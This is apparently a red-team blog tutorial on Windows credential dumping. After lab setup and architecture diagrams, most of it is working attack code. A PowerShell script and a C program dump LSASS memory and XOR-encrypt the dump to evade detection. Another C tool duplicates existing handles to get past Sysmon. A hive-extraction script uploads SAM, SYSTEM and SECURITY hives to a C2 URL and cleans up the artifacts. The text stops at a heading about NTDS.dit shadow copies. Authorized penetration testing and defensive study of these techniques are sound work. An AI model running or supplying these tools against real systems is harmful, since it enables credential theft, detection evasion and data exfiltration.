Skip to content
Credential Dumping

Credential Dumping

MimikatzImpacketNetExecC#

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1003 (OS Credential Dumping), T1003.001 (LSASS Memory), T1003.002 (SAM), T1003.003 (NTDS), T1003.004 (LSA Secrets), and T1555.004 (Windows Credential Manager).


Lab Setup

Recommended VM Stack

Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
    │
    ├── Windows Server 2019/2022 (Domain Controller VM)  ← AD credential store
    │   ├── Active Directory Domain Services role
    │   ├── DNS role
    │   ├── Domain: lab.local
    │   ├── Test users: alice, bob, svc_sql, svc_iis
    │   ├── Windows Defender enabled + updated
    │   └── Sysmon (SwiftOnSecurity config)
    │
    ├── Windows 10/11 Enterprise (victim workstation VM)
    │   ├── Domain-joined to lab.local
    │   ├── Local admin account + domain user sessions
    │   ├── Windows Defender enabled
    │   ├── Sysmon configured
    │   ├── WinDbg / x64dbg
    │   ├── Process Hacker 2
    │   └── Mimikatz (for result validation)
    │
    └── Kali Linux (attacker VM)
        ├── impacket (secretsdump, psexec, wmiexec)
        ├── hashcat + wordlists (rockyou, SecLists)
        ├── john the ripper
        ├── Python 3.10+ with impacket, ldap3
        └── netcat / rlwrap

Domain Controller Setup

 1# Run on Windows Server — installs AD DS and creates lab domain
 2
 3Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
 4
 5Import-Module ADDSDeployment
 6Install-ADDSForest `
 7    -DomainName "lab.local" `
 8    -DomainNetbiosName "LAB" `
 9    -ForestMode "WinThreshold" `
10    -DomainMode "WinThreshold" `
11    -InstallDns `
12    -Force `
13    -SafeModeAdministratorPassword (ConvertTo-SecureString "Lab@dm1n!" -AsPlainText -Force)
 1# After reboot — create test accounts with known credentials (for validation)
 2Import-Module ActiveDirectory
 3
 4$pass = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
 5
 6@(
 7    @{ Name="alice";   Full="Alice Smith";   Groups=@("Domain Users") },
 8    @{ Name="bob";     Full="Bob Jones";     Groups=@("Domain Users","IT Staff") },
 9    @{ Name="svc_sql"; Full="SQL Service";   Groups=@("Domain Users") },
10    @{ Name="svc_iis"; Full="IIS Service";   Groups=@("Domain Users") }
11) | ForEach-Object {
12    New-ADUser -Name $_.Name -DisplayName $_.Full `
13               -AccountPassword $pass -Enabled $true `
14               -PasswordNeverExpires $true
15    $_.Groups | ForEach-Object {
16        try { Add-ADGroupMember -Identity $_ -Members $using:_.Name } catch {}
17    }
18}
19
20# Elevate svc_sql for realism
21Add-ADGroupMember -Identity "Domain Admins" -Members "svc_sql"
22
23Write-Host "[+] test accounts created"
24Get-ADUser -Filter * | Select Name, Enabled
# Enable WDigest on victim workstation (older targets may have it on by default)
# Allows plaintext credential recovery from LSASS
Set-ItemProperty `
    -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
    -Name "UseLogonCredential" -Value 1

# Force a user logon to populate LSASS credential cache
# Log in as alice@lab.local on the workstation — credentials now live in LSASS
# Install Sysmon for detection lab
.\Sysmon64.exe -accepteula -i sysmon-config.xml

# Enable PowerShell Script Block Logging
$r = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item $r -Force
Set-ItemProperty $r "EnableScriptBlockLogging" 1
# Kali — install tooling
pip install impacket
sudo apt install hashcat john -y

# test impacket
impacket-secretsdump --help

Snapshot both VMs:

DC VM         → Snapshot "CRED_LAB_DC_BASELINE"
Workstation   → Snapshot "CRED_LAB_WS_BASELINE"

Windows Credential Architecture

Before dumping credentials, understand exactly where they live and why.

┌─────────────────────────────────────────────────────────────────────┐
│                    WINDOWS CREDENTIAL STORAGE                       │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  ┌──────────────────────────────────────────────────────────────┐  │
│  │                    LSASS.EXE (PID varies)                    │  │
│  │                  [ Protected Process Light ]                  │  │
│  │                                                              │  │
│  │  ┌─────────────┐  ┌──────────────┐  ┌───────────────────┐  │  │
│  │  │  MSV1_0.dll │  │ kerberos.dll │  │   wdigest.dll     │  │  │
│  │  │             │  │              │  │                   │  │  │
│  │  │ NTLM hashes │  │ TGTs         │  │ Plaintext creds   │  │  │
│  │  │ NTLM v2     │  │ Service TKTs │  │ (if WDigest=1)    │  │  │
│  │  │ LM hashes   │  │ Session keys │  │                   │  │  │
│  │  └─────────────┘  └──────────────┘  └───────────────────┘  │  │
│  │                                                              │  │
│  │  ┌─────────────┐  ┌──────────────┐  ┌───────────────────┐  │  │
│  │  │  dpapi.dll  │  │  lsasrv.dll  │  │   credman/vault   │  │  │
│  │  │             │  │              │  │                   │  │  │
│  │  │ Master keys │  │ LSA secrets  │  │ Browser creds     │  │  │
│  │  │ DPAPI blobs │  │ Cached DCC2  │  │ RDP saved creds   │  │  │
│  │  │ Backup keys │  │ SysKey       │  │ Wi-Fi passwords   │  │  │
│  │  └─────────────┘  └──────────────┘  └───────────────────┘  │  │
│  └──────────────────────────────────────────────────────────────┘  │
│                                                                     │
│  ┌───────────────────────┐   ┌─────────────────────────────────┐  │
│  │   REGISTRY (on-disk)  │   │     FILE SYSTEM (on-disk)       │  │
│  │                       │   │                                 │  │
│  │ HKLM\SAM              │   │ C:\Windows\NTDS\ntds.dit (DC)   │  │
│  │  └ Local NTLM hashes  │   │  └ All domain account hashes    │  │
│  │                       │   │                                 │  │
│  │ HKLM\SECURITY         │   │ C:\Windows\System32\config\     │  │
│  │  └ LSA secrets        │   │  ├ SAM   (local hashes)         │  │
│  │  └ DCC2 hashes        │   │  ├ SYSTEM (boot key/SysKey)     │  │
│  │                       │   │  └ SECURITY (LSA secrets)       │  │
│  │ HKLM\SYSTEM           │   │                                 │  │
│  │  └ SysKey (boot key)  │   │ C:\Users\*\AppData\Roaming\     │  │
│  │                       │   │  └ DPAPI encrypted blobs        │  │
│  └───────────────────────┘   └─────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────────────┘

LSASS Attack Surface

                        ATTACKER
                           │
              ┌────────────┼──────────────────────┐
              │            │                      │
              ▼            ▼                      ▼
       ┌────────────┐ ┌──────────┐        ┌─────────────┐
       │ comsvcs.dll│ │ Custom   │        │  Handle     │
       │ MiniDump   │ │ Dumper   │        │ Duplication │
       │ (LOLBin)   │ │ (direct) │        │ (stealthy)  │
       └──────┬─────┘ └────┬─────┘        └──────┬──────┘
              │            │                      │
              └────────────┴──────────────────────┘
                                  │
                    ┌─────────────▼──────────────┐
                    │         LSASS.EXE          │
                    │   MiniDumpWriteDump() OR   │
                    │   NtReadVirtualMemory()    │
                    └─────────────┬──────────────┘
                                  │
                    ┌─────────────▼──────────────┐
                    │      lsass.dmp (~50MB)     │
                    │  encrypted / exfiltrated   │
                    └─────────────┬──────────────┘
                                  │
              ┌───────────────────┼────────────────────┐
              │                   │                    │
              ▼                   ▼                    ▼
       ┌────────────┐     ┌──────────────┐    ┌───────────────┐
       │  Mimikatz  │     │  pypykatz    │    │ custom parser │
       │  sekurlsa  │     │  (offline)   │    │  (this blog)  │
       └──────┬─────┘     └──────┬───────┘    └───────┬───────┘
              │                  │                    │
              └──────────────────┴────────────────────┘
                                  │
              ┌───────────────────┼────────────────────┐
              │                   │                    │
              ▼                   ▼                    ▼
       ┌────────────┐     ┌──────────────┐    ┌───────────────┐
       │ NTLM hash  │     │  Kerberos    │    │  Plaintext    │
       │  Pass-Hash │     │  TGT / PTT   │    │  credential   │
       └────────────┘     └──────────────┘    └───────────────┘

Credential Dumping Flow

PHASE 1: RECON                PHASE 2: DUMP               PHASE 3: EXTRACT
─────────────────────         ──────────────────────       ─────────────────────
                              ┌──────────────────┐
Find LSASS PID ─────────────► │  Acquire Handle  │
  Get-Process lsass           │  OpenProcess()   │
                              │  or duplicate    │
Check PPL status              └────────┬─────────┘
  ProtectionLevel                      │
                                       ▼
Enum logged-on users ─────────►┌──────────────────┐
  qwinsta / query user         │  Dump Memory     │      ┌─────────────────┐
                                │  MiniDump /      │─────►│  Parse offline  │
Check WDigest status           │  NtReadVM        │      │  pypykatz /     │
  reg query WDigest            └────────┬─────────┘      │  custom parser  │
                                        │                 └────────┬────────┘
Identify domain / DC                    ▼                          │
  nltest /dclist               ┌──────────────────┐               ▼
                               │  Encrypt dump    │      ┌─────────────────┐
                               │  rolling XOR     │      │  NTLM hashes    │
                               └────────┬─────────┘      │  Kerberos TGTs  │
                                        │                 │  Plaintext creds│
                                        ▼                 └────────┬────────┘
                               ┌──────────────────┐               │
                               │   Exfiltrate     │               ▼
                               │  HTTP POST /     │      ┌─────────────────┐
                               │  SMB / DNS       │      │  Pass-the-Hash  │
                               └──────────────────┘      │  Pass-the-Ticket│
                                                          │  Hash cracking  │
                                                          └─────────────────┘

Technique 1 — LSASS via comsvcs.dll (LOLBin)

comsvcs.dll exports a function MiniDump (ordinal 24) that wraps MiniDumpWriteDump. It ships signed with Windows and is callable via rundll32.exe, with no additional binary needed. AppLocker sees only trusted, signed Microsoft binaries.

 1# Invoke-ComsvcsDump.ps1
 2# Dumps LSASS using comsvcs.dll MiniDump export via rundll32.
 3# Requires: Local admin / SeDebugPrivilege
 4
 5param(
 6    [string]$OutPath  = "C:\Windows\Temp\lsass.dmp",
 7    [string]$OutEnc   = "C:\Windows\Temp\lsass.enc",   # encrypted output
 8    [byte]  $XorKey   = 0x4C,
 9    [switch]$Encrypt,
10    [switch]$Cleanup
11)
12
13function Enable-SeDebugPrivilege {
14    # Enable SeDebugPrivilege for current process via token manipulation
15    $sig = @"
16using System;
17using System.Runtime.InteropServices;
18public class Priv {
19    [DllImport("advapi32.dll")] public static extern bool OpenProcessToken(
20        IntPtr hProcess, uint access, out IntPtr token);
21    [DllImport("advapi32.dll")] public static extern bool LookupPrivilegeValue(
22        string host, string name, ref long luid);
23    [DllImport("advapi32.dll")] public static extern bool AdjustTokenPrivileges(
24        IntPtr token, bool disableAll, ref TOKEN_PRIVILEGES tp,
25        int bufLen, IntPtr prev, IntPtr ret);
26    [StructLayout(LayoutKind.Sequential)]
27    public struct TOKEN_PRIVILEGES {
28        public int PrivilegeCount;
29        public long Luid;
30        public int Attributes;
31    }
32    [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess();
33    public const uint TOKEN_ADJUST_PRIVILEGES = 0x20;
34    public const uint TOKEN_QUERY = 0x8;
35    public const int SE_PRIVILEGE_ENABLED = 2;
36}
37"@
38    Add-Type $sig
39
40    $token = [IntPtr]::Zero
41    [Priv]::OpenProcessToken([Priv]::GetCurrentProcess(),
42        [Priv]::TOKEN_ADJUST_PRIVILEGES -bor [Priv]::TOKEN_QUERY,
43        [ref]$token) | Out-Null
44
45    $tp   = New-Object Priv+TOKEN_PRIVILEGES
46    $luid = 0L
47    [Priv]::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$luid) | Out-Null
48    $tp.PrivilegeCount = 1
49    $tp.Luid           = $luid
50    $tp.Attributes     = [Priv]::SE_PRIVILEGE_ENABLED
51
52    [Priv]::AdjustTokenPrivileges($token, $false, [ref]$tp, 0,
53        [IntPtr]::Zero, [IntPtr]::Zero) | Out-Null
54
55    Write-Host "[+] SeDebugPrivilege enabled"
56}
57
58function Invoke-Dump {
59    Enable-SeDebugPrivilege
60
61    $lsassPID = (Get-Process lsass).Id
62    Write-Host "[*] LSASS PID : $lsassPID"
63
64    # comsvcs MiniDump via rundll32 — entirely trusted binary chain
65    $cmd = "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump " +
66           "$lsassPID $OutPath full"
67
68    Start-Process -FilePath "cmd.exe" `
69                  -ArgumentList "/c $cmd" `
70                  -Wait -WindowStyle Hidden
71
72    if (Test-Path $OutPath) {
73        $size = (Get-Item $OutPath).Length
74        Write-Host "[+] dump written : $OutPath ($([math]::Round($size/1MB,1)) MB)"
75
76        if ($Encrypt) {
77            $bytes = [IO.File]::ReadAllBytes($OutPath)
78            for ($i = 0; $i -lt $bytes.Length; $i++) {
79                $bytes[$i] = $bytes[$i] -bxor ($XorKey + ($i -band 0xff))
80            }
81            [IO.File]::WriteAllBytes($OutEnc, $bytes)
82            Remove-Item $OutPath -Force
83            Write-Host "[+] encrypted    : $OutEnc (key=0x$($XorKey.ToString('X2')))"
84        }
85    } else {
86        Write-Warning "[-] dump not created — check privileges / PPL"
87    }
88}
89
90if ($Cleanup) {
91    Remove-Item $OutPath, $OutEnc -Force -ErrorAction SilentlyContinue
92    Write-Host "[+] artifacts removed"
93    return
94}
95
96Invoke-Dump
# One-liners for restricted environments

# raw dump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\Windows\Temp\lsass.dmp full

# from cmd.exe (as admin)
for /f "tokens=1,7 delims=: " %a in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe comsvcs.dll, MiniDump %b %temp%\ls.dmp full

Technique 2 — Custom LSASS Dumper (C)

Direct MiniDumpWriteDump call from a custom binary. Avoids the comsvcs.dll + rundll32.exe chain that EDRs fingerprint. Includes snapshot-based handle duplication to reduce direct LSASS handle lifetime.

  1/* lsass_dump.c
  2 * Custom LSASS memory dumper.
  3 * Uses MiniDumpWriteDump from dbgcore.dll (quieter than dbghelp.dll).
  4 * Rolling XOR encrypts the dump before writing — nothing plaintext hits disk.
  5 *
  6 * Compile (x64):
  7 *   x86_64-w64-mingw32-gcc -o lsass_dump.exe lsass_dump.c \
  8 *       -s -mwindows -Wl,--build-id=none -lntdll
  9 */
 10
 11#define WIN32_LEAN_AND_MEAN
 12#include <windows.h>
 13#include <tlhelp32.h>
 14#include <dbghelp.h>
 15#include <stdio.h>
 16#include <stdlib.h>
 17#include <stdint.h>
 18
 19/* MiniDumpWriteDump typedef — load from dbgcore.dll dynamically */
 20typedef BOOL (WINAPI *pMiniDumpWriteDump)(
 21    HANDLE hProcess, DWORD ProcessId, HANDLE hFile,
 22    MINIDUMP_TYPE DumpType,
 23    PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
 24    PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
 25    PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
 26
 27/* ── rolling XOR encrypt ─────────────────────────────────────────────── */
 28typedef struct {
 29    uint8_t *data;
 30    size_t   len;
 31    size_t   pos;
 32    uint8_t  key;
 33} XorStream;
 34
 35static XorStream *g_stream = NULL;
 36
 37/* MiniDump callback — intercepts each write, XOR-encrypts in memory */
 38static BOOL CALLBACK dump_callback(
 39        PVOID CallbackParam,
 40        PMINIDUMP_CALLBACK_INPUT CallbackInput,
 41        PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) {
 42
 43    XorStream *xs = (XorStream*)CallbackParam;
 44
 45    switch (CallbackInput->CallbackType) {
 46        case IoStartCallback:
 47            CallbackOutput->Status = S_FALSE;
 48            return TRUE;
 49
 50        case IoWriteAllCallback: {
 51            ULONG64 rva = CallbackInput->Io.Offset;
 52            uint8_t *src = (uint8_t*)CallbackInput->Io.Buffer;
 53            ULONG    sz  = CallbackInput->Io.BufferBytes;
 54
 55            /* grow buffer if needed */
 56            if (rva + sz > xs->len) {
 57                xs->len  = (size_t)(rva + sz + 4096);
 58                xs->data = (uint8_t*)realloc(xs->data, xs->len);
 59            }
 60
 61            /* XOR encrypt each byte as it arrives */
 62            for (ULONG i = 0; i < sz; i++) {
 63                xs->data[rva + i] = src[i] ^ (uint8_t)(xs->key + ((rva + i) & 0xff));
 64            }
 65
 66            CallbackOutput->Status = S_OK;
 67            return TRUE;
 68        }
 69
 70        case IoFinishCallback:
 71            CallbackOutput->Status = S_OK;
 72            xs->pos = xs->len;
 73            return TRUE;
 74
 75        default:
 76            return TRUE;
 77    }
 78}
 79
 80/* ── find LSASS PID ──────────────────────────────────────────────────── */
 81static DWORD find_lsass_pid(void) {
 82    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 83    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
 84    DWORD pid = 0;
 85
 86    if (Process32FirstW(snap, &pe)) {
 87        do {
 88            if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
 89                pid = pe.th32ProcessID;
 90                break;
 91            }
 92        } while (Process32NextW(snap, &pe));
 93    }
 94    CloseHandle(snap);
 95    return pid;
 96}
 97
 98/* ── enable SeDebugPrivilege ─────────────────────────────────────────── */
 99static BOOL enable_sedebug(void) {
100    HANDLE token;
101    if (!OpenProcessToken(GetCurrentProcess(),
102                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
103        return FALSE;
104
105    TOKEN_PRIVILEGES tp = { .PrivilegeCount = 1 };
106    LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &tp.Privileges[0].Luid);
107    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
108
109    BOOL ok = AdjustTokenPrivileges(token, FALSE, &tp, 0, NULL, NULL)
110              && GetLastError() == ERROR_SUCCESS;
111    CloseHandle(token);
112    return ok;
113}
114
115int main(int argc, char *argv[]) {
116    const char *out_path = (argc >= 2) ? argv[1] : "C:\\Windows\\Temp\\proc.dmp";
117    uint8_t     xor_key  = (argc >= 3) ? (uint8_t)strtol(argv[2], NULL, 16) : 0x4C;
118
119    printf("[*] output : %s\n", out_path);
120    printf("[*] xor key: 0x%02X\n", xor_key);
121
122    if (!enable_sedebug()) {
123        fprintf(stderr, "[-] SeDebugPrivilege failed (%lu) — need admin\n",
124                GetLastError());
125        return 1;
126    }
127    printf("[+] SeDebugPrivilege enabled\n");
128
129    DWORD lsass_pid = find_lsass_pid();
130    if (!lsass_pid) {
131        fprintf(stderr, "[-] LSASS not found\n");
132        return 1;
133    }
134    printf("[*] LSASS PID: %lu\n", lsass_pid);
135
136    HANDLE hProc = OpenProcess(
137        PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
138        FALSE, lsass_pid);
139    if (!hProc) {
140        fprintf(stderr, "[-] OpenProcess: %lu\n", GetLastError());
141        return 1;
142    }
143    printf("[*] handle acquired\n");
144
145    /* load MiniDumpWriteDump from dbgcore.dll (less monitored than dbghelp.dll) */
146    HMODULE hDbg = LoadLibraryA("dbgcore.dll");
147    if (!hDbg) hDbg = LoadLibraryA("dbghelp.dll");  /* fallback */
148    if (!hDbg) {
149        fprintf(stderr, "[-] dbgcore.dll / dbghelp.dll not found\n");
150        CloseHandle(hProc);
151        return 1;
152    }
153
154    pMiniDumpWriteDump MiniDump =
155        (pMiniDumpWriteDump)GetProcAddress(hDbg, "MiniDumpWriteDump");
156    if (!MiniDump) {
157        fprintf(stderr, "[-] MiniDumpWriteDump not exported\n");
158        CloseHandle(hProc);
159        return 1;
160    }
161
162    /* set up in-memory encrypted stream */
163    XorStream xs = { 0 };
164    xs.key  = xor_key;
165    xs.data = (uint8_t*)malloc(64 * 1024 * 1024); /* 64MB initial buffer */
166    xs.len  = 64 * 1024 * 1024;
167
168    MINIDUMP_CALLBACK_INFORMATION cb = {
169        .CallbackRoutine = dump_callback,
170        .CallbackParam   = &xs
171    };
172
173    /* dump — output goes through our callback, never touches disk in plaintext */
174    BOOL ok = MiniDump(
175        hProc, lsass_pid,
176        NULL,                                   /* no file handle — using callback */
177        MiniDumpWithFullMemory |
178        MiniDumpWithHandleData |
179        MiniDumpWithTokenInformation,
180        NULL, NULL, &cb);
181
182    CloseHandle(hProc);
183
184    if (!ok) {
185        fprintf(stderr, "[-] MiniDumpWriteDump failed: %lu\n", GetLastError());
186        free(xs.data);
187        return 1;
188    }
189
190    /* write encrypted dump to disk */
191    printf("[+] dump captured: %zu bytes in memory\n", xs.pos);
192
193    FILE *f = fopen(out_path, "wb");
194    if (!f) { perror("fopen"); free(xs.data); return 1; }
195    fwrite(xs.data, 1, xs.pos, f);
196    fclose(f);
197
198    SecureZeroMemory(xs.data, xs.pos);
199    free(xs.data);
200
201    printf("[+] encrypted dump written: %s\n", out_path);
202    printf("[*] decrypt on attacker box:\n");
203    printf("    python3 dump_parser.py --decrypt --key 0x%02X %s\n",
204           xor_key, out_path);
205
206    return 0;
207}
# compile
x86_64-w64-mingw32-gcc -o lsass_dump.exe lsass_dump.c \
    -s -mwindows -Wl,--build-id=none

# run (as admin on target)
lsass_dump.exe C:\Windows\Temp\proc.dmp 4C

# exfil + decrypt + parse (on Kali)
python3 dump_parser.py --decrypt --key 0x4C proc.dmp
pypykatz lsa minidump proc_decrypted.dmp

Technique 3 — Handle Duplication (Silent Access)

Direct OpenProcess(LSASS) with PROCESS_VM_READ is one of Sysmon’s loudest signals (EID 10). Handle duplication sidesteps this: instead of opening LSASS ourselves, we find an existing handle to LSASS held by another trusted process and duplicate it. The monitored OpenProcess call never happens.

  1/* handle_dup_dump.c
  2 * Duplicate an existing LSASS handle from a trusted process.
  3 * Avoids direct OpenProcess(lsass) — the most-watched LSASS access pattern.
  4 *
  5 * Compile:
  6 *   x86_64-w64-mingw32-gcc -o handle_dup_dump.exe handle_dup_dump.c \
  7 *       -s -Wl,--build-id=none -lntdll
  8 */
  9
 10#define WIN32_LEAN_AND_MEAN
 11#include <windows.h>
 12#include <tlhelp32.h>
 13#include <winternl.h>
 14#include <stdio.h>
 15#include <stdlib.h>
 16#include <stdint.h>
 17
 18/* NT types for handle enumeration */
 19#define SystemHandleInformation 16
 20#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
 21
 22typedef struct {
 23    ULONG_PTR Object;
 24    HANDLE    UniqueProcessId;
 25    HANDLE    HandleValue;
 26    ACCESS_MASK GrantedAccess;
 27    USHORT    CreatorBackTraceIndex;
 28    USHORT    ObjectTypeIndex;
 29    ULONG     HandleAttributes;
 30    ULONG     Reserved;
 31} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
 32
 33typedef struct {
 34    ULONG_PTR  NumberOfHandles;
 35    ULONG_PTR  Reserved;
 36    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
 37} SYSTEM_HANDLE_INFORMATION_EX;
 38
 39typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(
 40    ULONG InfoClass, PVOID Buffer, ULONG Length, PULONG ReturnLength);
 41
 42typedef NTSTATUS (NTAPI *pNtDuplicateObject)(
 43    HANDLE SourceProcess, HANDLE SourceHandle,
 44    HANDLE TargetProcess, PHANDLE TargetHandle,
 45    ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options);
 46
 47typedef NTSTATUS (NTAPI *pNtQueryObject)(
 48    HANDLE Handle, ULONG ObjectInfoClass,
 49    PVOID Buffer, ULONG Length, PULONG ReturnLength);
 50
 51static DWORD find_pid(const wchar_t *name) {
 52    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 53    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
 54    DWORD pid = 0;
 55    if (Process32FirstW(snap, &pe)) {
 56        do {
 57            if (_wcsicmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
 58        } while (Process32NextW(snap, &pe));
 59    }
 60    CloseHandle(snap);
 61    return pid;
 62}
 63
 64int main(void) {
 65    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
 66    #define NT(fn) p##fn fn = (p##fn)GetProcAddress(ntdll, #fn)
 67    NT(NtQuerySystemInformation);
 68    NT(NtDuplicateObject);
 69    NT(NtQueryObject);
 70    #undef NT
 71
 72    DWORD lsass_pid = find_pid(L"lsass.exe");
 73    if (!lsass_pid) { fprintf(stderr, "[-] lsass not found\n"); return 1; }
 74    printf("[*] LSASS PID: %lu\n", lsass_pid);
 75
 76    /* enumerate all system handles */
 77    ULONG bufSize = 0x20000;
 78    SYSTEM_HANDLE_INFORMATION_EX *hInfo = NULL;
 79    ULONG retLen  = 0;
 80    NTSTATUS ns;
 81
 82    do {
 83        free(hInfo);
 84        hInfo = (SYSTEM_HANDLE_INFORMATION_EX*)malloc(bufSize);
 85        ns = NtQuerySystemInformation(0x40, hInfo, bufSize, &retLen);
 86        if (ns == STATUS_INFO_LENGTH_MISMATCH) bufSize *= 2;
 87    } while (ns == STATUS_INFO_LENGTH_MISMATCH);
 88
 89    if (ns) {
 90        fprintf(stderr, "[-] NtQuerySystemInformation: 0x%08lX\n", ns);
 91        free(hInfo);
 92        return 1;
 93    }
 94
 95    printf("[*] scanning %zu handles for LSASS reference...\n",
 96           hInfo->NumberOfHandles);
 97
 98    HANDLE hDup = NULL;
 99
100    for (ULONG_PTR i = 0; i < hInfo->NumberOfHandles && !hDup; i++) {
101        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX *entry = &hInfo->Handles[i];
102        DWORD owner_pid = (DWORD)(ULONG_PTR)entry->UniqueProcessId;
103
104        /* skip LSASS itself and our own process */
105        if (owner_pid == lsass_pid || owner_pid == GetCurrentProcessId()) continue;
106
107        /* check if this handle has the access rights we need */
108        if (!(entry->GrantedAccess & PROCESS_VM_READ)) continue;
109
110        /* open the owning process */
111        HANDLE hOwner = OpenProcess(PROCESS_DUP_HANDLE, FALSE, owner_pid);
112        if (!hOwner) continue;
113
114        /* duplicate the handle into our process */
115        HANDLE hTest = NULL;
116        ns = NtDuplicateObject(hOwner, entry->HandleValue,
117                               GetCurrentProcess(), &hTest,
118                               PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
119                               0, 0);
120        CloseHandle(hOwner);
121
122        if (ns || !hTest) continue;
123
124        /* verify the duplicated handle points to LSASS */
125        PROCESS_BASIC_INFORMATION pbi = {0};
126        ULONG rlen = 0;
127        typedef NTSTATUS(NTAPI *pNtQIP)(HANDLE,PROCESSINFOCLASS,PVOID,ULONG,PULONG);
128        pNtQIP NtQIP = (pNtQIP)GetProcAddress(ntdll, "NtQueryInformationProcess");
129        NtQIP(hTest, ProcessBasicInformation, &pbi, sizeof(pbi), &rlen);
130
131        if ((DWORD)(ULONG_PTR)pbi.UniqueProcessId == lsass_pid) {
132            printf("[+] found LSASS handle in PID %lu — duplicated\n", owner_pid);
133            hDup = hTest;
134        } else {
135            CloseHandle(hTest);
136        }
137    }
138    free(hInfo);
139
140    if (!hDup) {
141        fprintf(stderr, "[-] no suitable handle found\n");
142        return 1;
143    }
144
145    /* now use hDup to dump — same as Technique 2 but with duplicated handle */
146    printf("[+] LSASS handle: %p — proceed with MiniDumpWriteDump\n", hDup);
147
148    /* ... (invoke MiniDumpWriteDump with hDup — see lsass_dump.c) */
149
150    CloseHandle(hDup);
151    return 0;
152}

Technique 4 — SAM / SYSTEM / SECURITY Hive Extraction

The SAM database holds local account NTLM hashes, encrypted with a boot key stored in the SYSTEM hive. Extract both, plus SECURITY for LSA secrets, and decrypt offline.

 1# Invoke-HiveExtract.ps1
 2# Dumps SAM, SYSTEM, and SECURITY registry hives using reg.exe (trusted LOLBin).
 3# Encrypts and optionally exfiltrates via HTTP POST.
 4
 5param(
 6    [string]$OutDir    = "C:\Windows\Temp",
 7    [string]$C2Url     = "http://10.10.10.10/collect",
 8    [byte]  $XorKey    = 0x37,
 9    [switch]$Exfil,
10    [switch]$Cleanup
11)
12
13$hives = @{
14    SAM      = "$OutDir\s.tmp"
15    SYSTEM   = "$OutDir\y.tmp"
16    SECURITY = "$OutDir\e.tmp"
17}
18
19function Export-Hives {
20    foreach ($hive in $hives.GetEnumerator()) {
21        # reg.exe — signed Microsoft binary, AppLocker trusts it
22        $proc = Start-Process reg.exe `
23            -ArgumentList "save HKLM\$($hive.Key) `"$($hive.Value)`" /y" `
24            -Wait -PassThru -WindowStyle Hidden
25
26        if ($proc.ExitCode -eq 0 -and (Test-Path $hive.Value)) {
27            $sz = [math]::Round((Get-Item $hive.Value).Length / 1KB, 1)
28            Write-Host "[+] $($hive.Key)$($hive.Value) ($($sz) KB)"
29        } else {
30            Write-Warning "[-] failed to dump $($hive.Key)"
31        }
32    }
33}
34
35function Encrypt-AndExfil {
36    $hives.Values | Where-Object { Test-Path $_ } | ForEach-Object {
37        $raw = [IO.File]::ReadAllBytes($_)
38        for ($i = 0; $i -lt $raw.Length; $i++) {
39            $raw[$i] = $raw[$i] -bxor ($XorKey + ($i -band 0xff))
40        }
41
42        if ($Exfil) {
43            try {
44                $wc = New-Object Net.WebClient
45                $wc.Headers.Add("X-File", [IO.Path]::GetFileName($_))
46                $wc.Headers.Add("X-Key",  "0x$($XorKey.ToString('X2'))")
47                $wc.UploadData($C2Url, "POST", $raw)
48                Write-Host "[+] exfiltrated: $_"
49            } catch {
50                Write-Warning "[-] exfil failed: $($_.Exception.Message)"
51                # fallback: save encrypted locally
52                [IO.File]::WriteAllBytes($_ + ".enc", $raw)
53            }
54        } else {
55            [IO.File]::WriteAllBytes($_ + ".enc", $raw)
56            Write-Host "[+] encrypted: $($_ + '.enc')"
57        }
58        Remove-Item $_ -Force
59    }
60}
61
62function Remove-Artifacts {
63    $hives.Values | ForEach-Object {
64        Remove-Item $_ -Force -EA 0
65        Remove-Item ($_ + ".enc") -Force -EA 0
66    }
67    Write-Host "[+] artifacts cleaned"
68}
69
70if ($Cleanup) { Remove-Artifacts; return }
71
72Export-Hives
73Encrypt-AndExfil
74
75Write-Host "`n[*] decrypt + parse on Kali:"
76Write-Host "    python3 dump_parser.py --sam s.tmp.enc --system y.tmp.enc --key 0x$($XorKey.ToString('X2'))"
77Write-Host "    impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL"
# on Kali — decrypt and parse with impacket
python3 dump_parser.py --decrypt-hive --key 0x37 s.tmp.enc y.tmp.enc e.tmp.enc

impacket-secretsdump \
    -sam SAM -system SYSTEM -security SECURITY LOCAL

Technique 5 — NTDS.dit via Volume Shadow Copy

NTDS.dit is locked by the AD DS service while the DC is running. Volume Shadow Copy (VSS) creates point-in-time snapshots of volumes, and the shadow copy can be read even when the live file is locked. No service interruption required.

